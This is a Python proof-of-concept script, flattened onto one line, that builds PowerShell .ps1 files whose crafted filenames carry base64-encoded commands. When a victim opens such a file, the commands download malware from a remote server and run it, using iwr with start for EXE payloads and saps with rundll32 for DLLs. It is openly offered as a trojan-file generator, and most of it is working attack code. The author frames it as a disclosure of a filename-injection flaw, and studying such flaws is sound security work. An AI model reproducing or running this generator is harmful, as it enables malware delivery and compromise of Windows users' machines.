from base64 import b64encode import argparse,sys,os #PSTrojanFile.py #By hyp3rlinx (c) 2023 #ApparitionSec #hyp3rlinx.altervista.org #twitter.com/hyp3rlinx #twitter.com/malvuln #PoC Video: https://www.youtube.com/watch?v=-ZJnA70Cf4I #============================================================================================ #Create vulnerable Windows .PS1 (PowerShell) files with specially crafted exploitable names. #Example: #Test;POweRsHeLL -e [BASE64 PAYLOAD];.ps1 #Testing;saps (gc -)PoC;.ps1 # #Updated for Python3 from my orginal 2019 script with added DLL support and fixes. #Creates malicious ".ps1" PowerShell files with embedded trojan filename commands. #Download, save and execute malware (EXE,DLL) all from within a PowerShell Filename. #Expects hostname/ip-address of web-server housing an executable. # #Vectors: #Double-click, drag and drop to a PowerShell shortcut, command line. # #Requirements: #============= #1) .PS1 files set to open and run with PowerShell as the default program #2) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force # #By hyp3rlinx - apparitionSec #=========================================================================================== BANNER=""" _ \ ___| __ __| _) ____| _) | | | \___ \ | __| _ \ | _` | __ \ | | | _ \ ___/ | | | ( | | ( | | | __| | | __/ _| _____/ _| _| \___/ | \__,_| _| _| _| _| _| \___| ___/ By hyp3rlinx (C) circa 2023 """ #Console colors RED="\033[1;31;40m" GREY="\033[1;30;40m" CYAN="\033[1;36;40m" YELLOW="\033[1;33;40m" ENDC = '\033[m' #Default def parse_args(): parser.add_argument("-i", "--ipaddress", help="Remote server hosting a Malware.") parser.add_argument("-m", "--local_malware_name", help="Name of the Malware on disk after download.") parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.") parser.add_argument("-t", "--type", help="Executable type EXE or DLL (required)") parser.add_argument("-f", "--from_file", nargs="?", const="1", help="Execute commands from a local text-file named '-' (dash).") parser.add_argument("-u", "--usage", nargs="?", const="1", help="Usage examples.") return parser.parse_args() def show_usage(): print(RED+BANNER+ENDC) print(CYAN+"[+] "+GREY+"PSTrojanFile.py -i 127.0.0.1 -m hate.exe -r 1.exe -t exe") print(CYAN+"[+] "+GREY+"PSTrojanFile.py -i x.x.x.x -m q.z -r s.dll -t dll"+ENDC) def main(args): PSEmbedFilenameMalwr="" if args.usage: show_usage() return if args.from_file: #Create PS1 file that executes code from a text-file using saps gc (get-content). if create_file("",1): success(1) if args.ipaddress: if not args.type: show_usage() print(YELLOW+"[!] "+GREY+"Provide the executable type DLL or EXE"+ENDC) exit(1) if args.type=="exe": #EXE saved to current dir where the vuln PS script is run. PSEmbedFilenameMalwr = "iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O "+args.local_malware_name+";sleep -s 2;start "+args.local_malware_name else: #DLL saved to users downloads directory. PSEmbedFilenameMalwr = "saps "+"http://"+args.ipaddress+"/"+args.remote_malware_name+";sleep -s2;rundll32 $HOME/Downloads/"+args.local_malware_name+", 0" return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE')).decode() def success(obj): print(RED+BANNER+ENDC) print(GREY+"[+] PS1 Trojan File Created!") if obj==1: print(GREY+"[+] Added 'calc.exe' command to created file named '-' (dash)"+ENDC) def create_file(payload, local): if local==1: f=open("Testing;saps (gc -)PoC;.ps1", "w") f2=open("-", "w") f2.write("calc.exe") f2.close() else: f=open("Test;PoWeRShell -e "+payload+";2.ps1", "w") f.write("Write-Output 'Have a nice day GG!'") f.close() return True if __name__=="__main__": os.system("color") parser = argparse.ArgumentParser() PSCmds = main(parse_args()) if len(sys.argv)==1: print(RED+BANNER+GREY) parser.print_help(sys.stderr) print(ENDC) sys.exit(1) if PSCmds: if create_file(PSCmds,0): success(0)